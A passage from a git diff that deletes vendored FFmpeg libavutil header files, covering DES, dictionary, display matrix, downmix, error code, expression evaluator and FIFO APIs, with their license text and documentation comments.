details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_DES_H -#define AVUTIL_DES_H - -#include - -/** - * @defgroup lavu_des DES - * @ingroup lavu_crypto - * @{ - */ - -typedef struct AVDES { - uint64_t round_keys[3][16]; - int triple_des; -} AVDES; - -/** - * Allocate an AVDES context. - */ -AVDES *av_des_alloc(void); - -/** - * @brief Initializes an AVDES context. - * - * @param key_bits must be 64 or 192 - * @param decrypt 0 for encryption/CBC-MAC, 1 for decryption - * @return zero on success, negative value otherwise - */ -int av_des_init(struct AVDES *d, const uint8_t *key, int key_bits, int decrypt); - -/** - * @brief Encrypts / decrypts using the DES algorithm. - * - * @param count number of 8 byte blocks - * @param dst destination array, can be equal to src, must be 8-byte aligned - * @param src source array, can be equal to dst, must be 8-byte aligned, may be NULL - * @param iv initialization vector for CBC mode, if NULL then ECB will be used, - * must be 8-byte aligned - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_des_crypt(struct AVDES *d, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt); - -/** - * @brief Calculates CBC-MAC using the DES algorithm. - * - * @param count number of 8 byte blocks - * @param dst destination array, can be equal to src, must be 8-byte aligned - * @param src source array, can be equal to dst, must be 8-byte aligned, may be NULL - */ -void av_des_mac(struct AVDES *d, uint8_t *dst, const uint8_t *src, int count); - -/** - * @} - */ - -#endif /* AVUTIL_DES_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/dict.h b/desktop_3230/FFmpeg/include/libavutil/dict.h deleted file mode 100644 index 5b8d003..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/dict.h +++ /dev/null @@ -1,198 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * Public dictionary API. - * @deprecated - * AVDictionary is provided for compatibility with libav. It is both in - * implementation as well as API inefficient. It does not scale and is - * extremely slow with large dictionaries. - * It is recommended that new code uses our tree container from tree.c/h - * where applicable, which uses AVL trees to achieve O(log n) performance. - */ - -#ifndef AVUTIL_DICT_H -#define AVUTIL_DICT_H - -#include - -#include "version.h" - -/** - * @addtogroup lavu_dict AVDictionary - * @ingroup lavu_data - * - * @brief Simple key:value store - * - * @{ - * Dictionaries are used for storing key:value pairs. To create - * an AVDictionary, simply pass an address of a NULL pointer to - * av_dict_set(). NULL can be used as an empty dictionary wherever - * a pointer to an AVDictionary is required. - * Use av_dict_get() to retrieve an entry or iterate over all - * entries and finally av_dict_free() to free the dictionary - * and all its contents. - * - @code - AVDictionary *d = NULL; // "create" an empty dictionary - AVDictionaryEntry *t = NULL; - - av_dict_set(&d, "foo", "bar", 0); // add an entry - - char *k = av_strdup("key"); // if your strings are already allocated, - char *v = av_strdup("value"); // you can avoid copying them like this - av_dict_set(&d, k, v, AV_DICT_DONT_STRDUP_KEY | AV_DICT_DONT_STRDUP_VAL); - - while (t = av_dict_get(d, "", t, AV_DICT_IGNORE_SUFFIX)) { - <....> // iterate over all entries in d - } - av_dict_free(&d); - @endcode - * - */ - -#define AV_DICT_MATCH_CASE 1 /**< Only get an entry with exact-case key match. Only relevant in av_dict_get(). */ -#define AV_DICT_IGNORE_SUFFIX 2 /**< Return first entry in a dictionary whose first part corresponds to the search key, - ignoring the suffix of the found key string. Only relevant in av_dict_get(). */ -#define AV_DICT_DONT_STRDUP_KEY 4 /**< Take ownership of a key that's been - allocated with av_malloc() or another memory allocation function. */ -#define AV_DICT_DONT_STRDUP_VAL 8 /**< Take ownership of a value that's been - allocated with av_malloc() or another memory allocation function. */ -#define AV_DICT_DONT_OVERWRITE 16 ///< Don't overwrite existing entries. -#define AV_DICT_APPEND 32 /**< If the entry already exists, append to it. Note that no - delimiter is added, the strings are simply concatenated. */ - -typedef struct AVDictionaryEntry { - char *key; - char *value; -} AVDictionaryEntry; - -typedef struct AVDictionary AVDictionary; - -/** - * Get a dictionary entry with matching key. - * - * The returned entry key or value must not be changed, or it will - * cause undefined behavior. - * - * To iterate through all the dictionary entries, you can set the matching key - * to the null string "" and set the AV_DICT_IGNORE_SUFFIX flag. - * - * @param prev Set to the previous matching element to find the next. - * If set to NULL the first matching element is returned. - * @param key matching key - * @param flags a collection of AV_DICT_* flags controlling how the entry is retrieved - * @return found entry or NULL in case no matching entry was found in the dictionary - */ -AVDictionaryEntry *av_dict_get(const AVDictionary *m, const char *key, - const AVDictionaryEntry *prev, int flags); - -/** - * Get number of entries in dictionary. - * - * @param m dictionary - * @return number of entries in dictionary - */ -int av_dict_count(const AVDictionary *m); - -/** - * Set the given entry in *pm, overwriting an existing entry. - * - * Note: If AV_DICT_DONT_STRDUP_KEY or AV_DICT_DONT_STRDUP_VAL is set, - * these arguments will be freed on error. - * - * @param pm pointer to a pointer to a dictionary struct. If *pm is NULL - * a dictionary struct is allocated and put in *pm. - * @param key entry key to add to *pm (will be av_strduped depending on flags) - * @param value entry value to add to *pm (will be av_strduped depending on flags). - * Passing a NULL value will cause an existing entry to be deleted. - * @return >= 0 on success otherwise an error code <0 - */ -int av_dict_set(AVDictionary **pm, const char *key, const char *value, int flags); - -/** - * Convenience wrapper for av_dict_set that converts the value to a string - * and stores it. - * - * Note: If AV_DICT_DONT_STRDUP_KEY is set, key will be freed on error. - */ -int av_dict_set_int(AVDictionary **pm, const char *key, int64_t value, int flags); - -/** - * Parse the key/value pairs list and add the parsed entries to a dictionary. - * - * In case of failure, all the successfully set entries are stored in - * *pm. You may need to manually free the created dictionary. - * - * @param key_val_sep a 0-terminated list of characters used to separate - * key from value - * @param pairs_sep a 0-terminated list of characters used to separate - * two pairs from each other - * @param flags flags to use when adding to dictionary. - * AV_DICT_DONT_STRDUP_KEY and AV_DICT_DONT_STRDUP_VAL - * are ignored since the key/value tokens will always - * be duplicated. - * @return 0 on success, negative AVERROR code on failure - */ -int av_dict_parse_string(AVDictionary **pm, const char *str, - const char *key_val_sep, const char *pairs_sep, - int flags); - -/** - * Copy entries from one AVDictionary struct into another. - * @param dst pointer to a pointer to a AVDictionary struct. If *dst is NULL, - * this function will allocate a struct for you and put it in *dst - * @param src pointer to source AVDictionary struct - * @param flags flags to use when setting entries in *dst - * @note metadata is read using the AV_DICT_IGNORE_SUFFIX flag - * @return 0 on success, negative AVERROR code on failure. If dst was allocated - * by this function, callers should free the associated memory. - */ -int av_dict_copy(AVDictionary **dst, const AVDictionary *src, int flags); - -/** - * Free all the memory allocated for an AVDictionary struct - * and all keys and values. - */ -void av_dict_free(AVDictionary **m); - -/** - * Get dictionary entries as a string. - * - * Create a string containing dictionary's entries. - * Such string may be passed back to av_dict_parse_string(). - * @note String is escaped with backslashes ('\'). - * - * @param[in] m dictionary - * @param[out] buffer Pointer to buffer that will be allocated with string containg entries. - * Buffer must be freed by the caller when is no longer needed. - * @param[in] key_val_sep character used to separate key from value - * @param[in] pairs_sep character used to separate two pairs from each other - * @return >= 0 on success, negative on error - * @warning Separators cannot be neither '\\' nor '\0'. They also cannot be the same. - */ -int av_dict_get_string(const AVDictionary *m, char **buffer, - const char key_val_sep, const char pairs_sep); - -/** - * @} - */ - -#endif /* AVUTIL_DICT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/display.h b/desktop_3230/FFmpeg/include/libavutil/display.h deleted file mode 100644 index c0cfee3..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/display.h +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright (c) 2014 Vittorio Giovara - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_DISPLAY_H -#define AVUTIL_DISPLAY_H - -#include - -/** - * The display transformation matrix specifies an affine transformation that - * should be applied to video frames for correct presentation. It is compatible - * with the matrices stored in the ISO/IEC 14496-12 container format. - * - * The data is a 3x3 matrix represented as a 9-element array: - * - * | a b u | - * (a, b, u, c, d, v, x, y, w) -> | c d v | - * | x y w | - * - * All numbers are stored in native endianness, as 16.16 fixed-point values, - * except for u, v and w, which are stored as 2.30 fixed-point values. - * - * The transformation maps a point (p, q) in the source (pre-transformation) - * frame to the point (p', q') in the destination (post-transformation) frame as - * follows: - * | a b u | - * (p, q, 1) . | c d v | = z * (p', q', 1) - * | x y w | - * - * The transformation can also be more explicitly written in components as - * follows: - * p' = (a * p + c * q + x) / z; - * q' = (b * p + d * q + y) / z; - * z = u * p + v * q + w - */ - -/** - * Extract the rotation component of the transformation matrix. - * - * @param matrix the transformation matrix - * @return the angle (in degrees) by which the transformation rotates the frame - * counterclockwise. The angle will be in range [-180.0, 180.0], - * or NaN if the matrix is singular. - * - * @note floating point numbers are inherently inexact, so callers are - * recommended to round the return value to nearest integer before use. - */ -double av_display_rotation_get(const int32_t matrix[9]); - -/** - * Initialize a transformation matrix describing a pure counterclockwise - * rotation by the specified angle (in degrees). - * - * @param matrix an allocated transformation matrix (will be fully overwritten - * by this function) - * @param angle rotation angle in degrees. - */ -void av_display_rotation_set(int32_t matrix[9], double angle); - -/** - * Flip the input matrix horizontally and/or vertically. - * - * @param matrix an allocated transformation matrix - * @param hflip whether the matrix should be flipped horizontally - * @param vflip whether the matrix should be flipped vertically - */ -void av_display_matrix_flip(int32_t matrix[9], int hflip, int vflip); - -#endif /* AVUTIL_DISPLAY_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/downmix_info.h b/desktop_3230/FFmpeg/include/libavutil/downmix_info.h deleted file mode 100644 index 221cf5b..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/downmix_info.h +++ /dev/null @@ -1,115 +0,0 @@ -/* - * Copyright (c) 2014 Tim Walker - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_DOWNMIX_INFO_H -#define AVUTIL_DOWNMIX_INFO_H - -#include "frame.h" - -/** - * @file - * audio downmix medatata - */ - -/** - * @addtogroup lavu_audio - * @{ - */ - -/** - * @defgroup downmix_info Audio downmix metadata - * @{ - */ - -/** - * Possible downmix types. - */ -enum AVDownmixType { - AV_DOWNMIX_TYPE_UNKNOWN, /**< Not indicated. */ - AV_DOWNMIX_TYPE_LORO, /**< Lo/Ro 2-channel downmix (Stereo). */ - AV_DOWNMIX_TYPE_LTRT, /**< Lt/Rt 2-channel downmix, Dolby Surround compatible. */ - AV_DOWNMIX_TYPE_DPLII, /**< Lt/Rt 2-channel downmix, Dolby Pro Logic II compatible. */ - AV_DOWNMIX_TYPE_NB /**< Number of downmix types. Not part of ABI. */ -}; - -/** - * This structure describes optional metadata relevant to a downmix procedure. - * - * All fields are set by the decoder to the value indicated in the audio - * bitstream (if present), or to a "sane" default otherwise. - */ -typedef struct AVDownmixInfo { - /** - * Type of downmix preferred by the mastering engineer. - */ - enum AVDownmixType preferred_downmix_type; - - /** - * Absolute scale factor representing the nominal level of the center - * channel during a regular downmix. - */ - double center_mix_level; - - /** - * Absolute scale factor representing the nominal level of the center - * channel during an Lt/Rt compatible downmix. - */ - double center_mix_level_ltrt; - - /** - * Absolute scale factor representing the nominal level of the surround - * channels during a regular downmix. - */ - double surround_mix_level; - - /** - * Absolute scale factor representing the nominal level of the surround - * channels during an Lt/Rt compatible downmix. - */ - double surround_mix_level_ltrt; - - /** - * Absolute scale factor representing the level at which the LFE data is - * mixed into L/R channels during downmixing. - */ - double lfe_mix_level; -} AVDownmixInfo; - -/** - * Get a frame's AV_FRAME_DATA_DOWNMIX_INFO side data for editing. - * - * If the side data is absent, it is created and added to the frame. - * - * @param frame the frame for which the side data is to be obtained or created - * - * @return the AVDownmixInfo structure to be edited by the caller, or NULL if - * the structure cannot be allocated. - */ -AVDownmixInfo *av_downmix_info_update_side_data(AVFrame *frame); - -/** - * @} - */ - -/** - * @} - */ - -#endif /* AVUTIL_DOWNMIX_INFO_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/error.h b/desktop_3230/FFmpeg/include/libavutil/error.h deleted file mode 100644 index 71df4da..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/error.h +++ /dev/null @@ -1,126 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * error code definitions - */ - -#ifndef AVUTIL_ERROR_H -#define AVUTIL_ERROR_H - -#include -#include - -/** - * @addtogroup lavu_error - * - * @{ - */ - - -/* error handling */ -#if EDOM > 0 -#define AVERROR(e) (-(e)) ///< Returns a negative error code from a POSIX error code, to return from library functions. -#define AVUNERROR(e) (-(e)) ///< Returns a POSIX error code from a library function error return value. -#else -/* Some platforms have E* and errno already negated. */ -#define AVERROR(e) (e) -#define AVUNERROR(e) (e) -#endif - -#define FFERRTAG(a, b, c, d) (-(int)MKTAG(a, b, c, d)) - -#define AVERROR_BSF_NOT_FOUND FFERRTAG(0xF8,'B','S','F') ///< Bitstream filter not found -#define AVERROR_BUG FFERRTAG( 'B','U','G','!') ///< Internal bug, also see AVERROR_BUG2 -#define AVERROR_BUFFER_TOO_SMALL FFERRTAG( 'B','U','F','S') ///< Buffer too small -#define AVERROR_DECODER_NOT_FOUND FFERRTAG(0xF8,'D','E','C') ///< Decoder not found -#define AVERROR_DEMUXER_NOT_FOUND FFERRTAG(0xF8,'D','E','M') ///< Demuxer not found -#define AVERROR_ENCODER_NOT_FOUND FFERRTAG(0xF8,'E','N','C') ///< Encoder not found -#define AVERROR_EOF FFERRTAG( 'E','O','F',' ') ///< End of file -#define AVERROR_EXIT FFERRTAG( 'E','X','I','T') ///< Immediate exit was requested; the called function should not be restarted -#define AVERROR_EXTERNAL FFERRTAG( 'E','X','T',' ') ///< Generic error in an external library -#define AVERROR_FILTER_NOT_FOUND FFERRTAG(0xF8,'F','I','L') ///< Filter not found -#define AVERROR_INVALIDDATA FFERRTAG( 'I','N','D','A') ///< Invalid data found when processing input -#define AVERROR_MUXER_NOT_FOUND FFERRTAG(0xF8,'M','U','X') ///< Muxer not found -#define AVERROR_OPTION_NOT_FOUND FFERRTAG(0xF8,'O','P','T') ///< Option not found -#define AVERROR_PATCHWELCOME FFERRTAG( 'P','A','W','E') ///< Not yet implemented in FFmpeg, patches welcome -#define AVERROR_PROTOCOL_NOT_FOUND FFERRTAG(0xF8,'P','R','O') ///< Protocol not found - -#define AVERROR_STREAM_NOT_FOUND FFERRTAG(0xF8,'S','T','R') ///< Stream not found -/** - * This is semantically identical to AVERROR_BUG - * it has been introduced in Libav after our AVERROR_BUG and with a modified value. - */ -#define AVERROR_BUG2 FFERRTAG( 'B','U','G',' ') -#define AVERROR_UNKNOWN FFERRTAG( 'U','N','K','N') ///< Unknown error, typically from an external library -#define AVERROR_EXPERIMENTAL (-0x2bb2afa8) ///< Requested feature is flagged experimental. Set strict_std_compliance if you really want to use it. -#define AVERROR_INPUT_CHANGED (-0x636e6701) ///< Input changed between calls. Reconfiguration is required. (can be OR-ed with AVERROR_OUTPUT_CHANGED) -#define AVERROR_OUTPUT_CHANGED (-0x636e6702) ///< Output changed between calls. Reconfiguration is required. (can be OR-ed with AVERROR_INPUT_CHANGED) -/* HTTP & RTSP errors */ -#define AVERROR_HTTP_BAD_REQUEST FFERRTAG(0xF8,'4','0','0') -#define AVERROR_HTTP_UNAUTHORIZED FFERRTAG(0xF8,'4','0','1') -#define AVERROR_HTTP_FORBIDDEN FFERRTAG(0xF8,'4','0','3') -#define AVERROR_HTTP_NOT_FOUND FFERRTAG(0xF8,'4','0','4') -#define AVERROR_HTTP_OTHER_4XX FFERRTAG(0xF8,'4','X','X') -#define AVERROR_HTTP_SERVER_ERROR FFERRTAG(0xF8,'5','X','X') - -#define AV_ERROR_MAX_STRING_SIZE 64 - -/** - * Put a description of the AVERROR code errnum in errbuf. - * In case of failure the global variable errno is set to indicate the - * error. Even in case of failure av_strerror() will print a generic - * error message indicating the errnum provided to errbuf. - * - * @param errnum error code to describe - * @param errbuf buffer to which description is written - * @param errbuf_size the size in bytes of errbuf - * @return 0 on success, a negative value if a description for errnum - * cannot be found - */ -int av_strerror(int errnum, char *errbuf, size_t errbuf_size); - -/** - * Fill the provided buffer with a string containing an error string - * corresponding to the AVERROR code errnum. - * - * @param errbuf a buffer - * @param errbuf_size size in bytes of errbuf - * @param errnum error code to describe - * @return the buffer in input, filled with the error description - * @see av_strerror() - */ -static inline char *av_make_error_string(char *errbuf, size_t errbuf_size, int errnum) -{ - av_strerror(errnum, errbuf, errbuf_size); - return errbuf; -} - -/** - * Convenience macro, the return value should be used only directly in - * function arguments but never stand-alone. - */ -#define av_err2str(errnum) \ - av_make_error_string((char[AV_ERROR_MAX_STRING_SIZE]){0}, AV_ERROR_MAX_STRING_SIZE, errnum) - -/** - * @} - */ - -#endif /* AVUTIL_ERROR_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/eval.h b/desktop_3230/FFmpeg/include/libavutil/eval.h deleted file mode 100644 index dacd22b..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/eval.h +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright (c) 2002 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * simple arithmetic expression evaluator - */ - -#ifndef AVUTIL_EVAL_H -#define AVUTIL_EVAL_H - -#include "avutil.h" - -typedef struct AVExpr AVExpr; - -/** - * Parse and evaluate an expression. - * Note, this is significantly slower than av_expr_eval(). - * - * @param res a pointer to a double where is put the result value of - * the expression, or NAN in case of error - * @param s expression as a zero terminated string, for example "1+2^3+5*5+sin(2/3)" - * @param const_names NULL terminated array of zero terminated strings of constant identifiers, for example {"PI", "E", 0} - * @param const_values a zero terminated array of values for the identifiers from const_names - * @param func1_names NULL terminated array of zero terminated strings of funcs1 identifiers - * @param funcs1 NULL terminated array of function pointers for functions which take 1 argument - * @param func2_names NULL terminated array of zero terminated strings of funcs2 identifiers - * @param funcs2 NULL terminated array of function pointers for functions which take 2 arguments - * @param opaque a pointer which will be passed to all functions from funcs1 and funcs2 - * @param log_ctx parent logging context - * @return >= 0 in case of success, a negative value corresponding to an - * AVERROR code otherwise - */ -int av_expr_parse_and_eval(double *res, const char *s, - const char * const *const_names, const double *const_values, - const char * const *func1_names, double (* const *funcs1)(void *, double), - const char * const *func2_names, double (* const *funcs2)(void *, double, double), - void *opaque, int log_offset, void *log_ctx); - -/** - * Parse an expression. - * - * @param expr a pointer where is put an AVExpr containing the parsed - * value in case of successful parsing, or NULL otherwise. - * The pointed to AVExpr must be freed with av_expr_free() by the user - * when it is not needed anymore. - * @param s expression as a zero terminated string, for example "1+2^3+5*5+sin(2/3)" - * @param const_names NULL terminated array of zero terminated strings of constant identifiers, for example {"PI", "E", 0} - * @param func1_names NULL terminated array of zero terminated strings of funcs1 identifiers - * @param funcs1 NULL terminated array of function pointers for functions which take 1 argument - * @param func2_names NULL terminated array of zero terminated strings of funcs2 identifiers - * @param funcs2 NULL terminated array of function pointers for functions which take 2 arguments - * @param log_ctx parent logging context - * @return >= 0 in case of success, a negative value corresponding to an - * AVERROR code otherwise - */ -int av_expr_parse(AVExpr **expr, const char *s, - const char * const *const_names, - const char * const *func1_names, double (* const *funcs1)(void *, double), - const char * const *func2_names, double (* const *funcs2)(void *, double, double), - int log_offset, void *log_ctx); - -/** - * Evaluate a previously parsed expression. - * - * @param const_values a zero terminated array of values for the identifiers from av_expr_parse() const_names - * @param opaque a pointer which will be passed to all functions from funcs1 and funcs2 - * @return the value of the expression - */ -double av_expr_eval(AVExpr *e, const double *const_values, void *opaque); - -/** - * Free a parsed expression previously created with av_expr_parse(). - */ -void av_expr_free(AVExpr *e); - -/** - * Parse the string in numstr and return its value as a double. If - * the string is empty, contains only whitespaces, or does not contain - * an initial substring that has the expected syntax for a - * floating-point number, no conversion is performed. In this case, - * returns a value of zero and the value returned in tail is the value - * of numstr. - * - * @param numstr a string representing a number, may contain one of - * the International System number postfixes, for example 'K', 'M', - * 'G'. If 'i' is appended after the postfix, powers of 2 are used - * instead of powers of 10. The 'B' postfix multiplies the value by - * 8, and can be appended after another postfix or used alone. This - * allows using for example 'KB', 'MiB', 'G' and 'B' as postfix. - * @param tail if non-NULL puts here the pointer to the char next - * after the last parsed character - */ -double av_strtod(const char *numstr, char **tail); - -#endif /* AVUTIL_EVAL_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/ffversion.h b/desktop_3230/FFmpeg/include/libavutil/ffversion.h deleted file mode 100644 index d8e3cfc..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/ffversion.h +++ /dev/null @@ -1,5 +0,0 @@ -/* Automatically generated by version.sh, do not manually edit! */ -#ifndef AVUTIL_FFVERSION_H -#define AVUTIL_FFVERSION_H -#define FFMPEG_VERSION "3.0" -#endif /* AVUTIL_FFVERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/fifo.h b/desktop_3230/FFmpeg/include/libavutil/fifo.h deleted file mode 100644 index dc7bc6f..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/fifo.h +++ /dev/null @@ -1,179 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * a very simple circular buffer FIFO implementation - */ - -#ifndef AVUTIL_FIFO_H -#define AVUTIL_FIFO_H - -#include -#include "avutil.h" -#include "attributes.h" - -typedef struct AVFifoBuffer { - uint8_t *buffer; - uint8_t *rptr, *wptr, *end; - uint32_t rndx, wndx; -} AVFifoBuffer; - -/** - * Initialize an AVFifoBuffer. - * @param size of FIFO - * @return AVFifoBuffer or NULL in case of memory allocation failure - */ -AVFifoBuffer *av_fifo_alloc(unsigned int size); - -/** - * Initialize an AVFifoBuffer. - * @param nmemb number of elements - * @param size size of the single element - * @return AVFifoBuffer or NULL in case of memory allocation failure - */ -AVFifoBuffer *av_fifo_alloc_array(size_t nmemb, size_t size); - -/** - * Free an AVFifoBuffer. - * @param f AVFifoBuffer to free - */ -void av_fifo_free(AVFifoBuffer *f); - -/** - * Free an AVFifoBuffer and reset pointer to NULL. - * @param f AVFifoBuffer to free - */ -void av_fifo_freep(AVFifoBuffer **f); - -/** - * Reset the AVFifoBuffer to the state right after av_fifo_alloc, in particular it is emptied. - * @param f AVFifoBuffer to reset - */ -void av_fifo_reset(AVFifoBuffer *f); - -/** - * Return the amount of data in bytes in the AVFifoBuffer, that is the - * amount of data you can read from it. - * @param f AVFifoBuffer to read from - * @return size - */ -int av_fifo_size(const AVFifoBuffer *f); - -/** - * Return the amount of space in bytes in the AVFifoBuffer, that is the - * amount of data you can write into it. - * @param f AVFifoBuffer to write into - * @return size - */ -int av_fifo_space(const AVFifoBuffer *f); - -/** - * Feed data at specific position from an AVFifoBuffer to a user-supplied callback. - * Similar as av_fifo_gereric_read but without discarding data. - * @param f AVFifoBuffer to read from - * @param offset offset from current read position - * @param buf_size number of bytes to read - * @param func generic read function - * @param dest data destination - */ -int av_fifo_generic_peek_at(AVFifoBuffer *f, void *dest, int offset, int buf_size, void (*func)(void*, void*, int)); - -/** - * Feed data from an AVFifoBuffer to a user-supplied callback. - * Similar as av_fifo_gereric_read but without discarding data. - * @param f AVFifoBuffer to read from - * @param buf_size number of bytes to read - * @param func generic read function - * @param dest data destination - */ -int av_fifo_generic_peek(AVFifoBuffer *f, void *dest, int buf_size, void (*func)(void*, void*, int)); - -/** - * Feed data from an AVFifoBuffer to a user-supplied callback. - * @param f AVFifoBuffer to read from - * @param buf_size number of bytes to read - * @param func generic read function - * @param dest data destination - */ -int av_fifo_generic_read(AVFifoBuffer *f, void *dest, int buf_size, void (*func)(void*, void*, int)); - -/** - * Feed data from a user-supplied callback to an AVFifoBuffer. - * @param f AVFifoBuffer to write to - * @param src data source; non-const since it may be used as a - * modifiable context by the function defined in func - * @param size number of bytes to write - * @param func generic write function; the first parameter is src, - * the second is dest_buf, the third is dest_buf_size. - * func must return the number of bytes written to dest_buf, or <= 0 to - * indicate no more data available to write. - * If func is NULL, src is interpreted as a simple byte array for source data. - * @return the number of bytes written to the FIFO - */ -int av_fifo_generic_write(AVFifoBuffer *f, void *src, int size, int (*func)(void*, void*, int)); - -/** - * Resize an AVFifoBuffer. - * In case of reallocation failure, the old FIFO is kept unchanged. - * - * @param f AVFifoBuffer to resize - * @param size new AVFifoBuffer size in bytes - * @return <0 for failure, >=0 otherwise - */ -int av_fifo_realloc2(AVFifoBuffer *f, unsigned int size); - -/** - * Enlarge an AVFifoBuffer. - * In case of reallocation failure, the old FIFO is kept unchanged. - * The new fifo size may be larger than the requested size. - * - * @param f AVFifoBuffer to resize - * @param additional_space the amount of space in bytes to allocate in addition to av_fifo_size() - * @return <0 for failure, >=0 otherwise - */ -int av_fifo_grow(AVFifoBuffer *f, unsigned int additional_space); - -/** - * Read and discard the specified amount of data from an AVFifoBuffer. - * @param f AVFifoBuffer to read from - * @param size amount of data to read in bytes - */ -void av_fifo_drain(AVFifoBuffer *f, int size); - -/** - * Return a pointer to the data stored in a FIFO buffer at a certain offset. - * The FIFO buffer is not modified. - * - * @param f AVFifoBuffer to peek at, f must be non-NULL - * @param offs an offset in bytes, its absolute value must be less - * than the used buffer size or the returned pointer will - * point outside to the buffer data. - * The used buffer size can be checked with av_fifo_size(). - */ -static inline uint8_t *av_fifo_peek2(const AVFifoBuffer *f, int offs) -{ - uint8_t *ptr = f->rptr + offs; - if (ptr >= f->end) - ptr = f->buffer + (ptr - f->end); - else if (ptr < f->buffer) - ptr = f->end - (f->buffer - ptr); - return ptr; -} - -#endif /* AVUTIL_FIFO_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/file.h b/desktop_3230/FFmpeg/include/libavutil/file.h deleted file mode 100644 index e931be7..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/file.h +++ /dev/null @@ -1,68 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_FILE_H -#define AVUTIL_FILE_H - -#include - -#include "avutil.h" - -/** - * @file - * Misc file utilities. - */ - -/** - * Read the file with name filename, and put its content in a newly - * allocated buffer or map it with mmap() when available. - * In case of success set *bufptr to the read or mmapped buffer, and 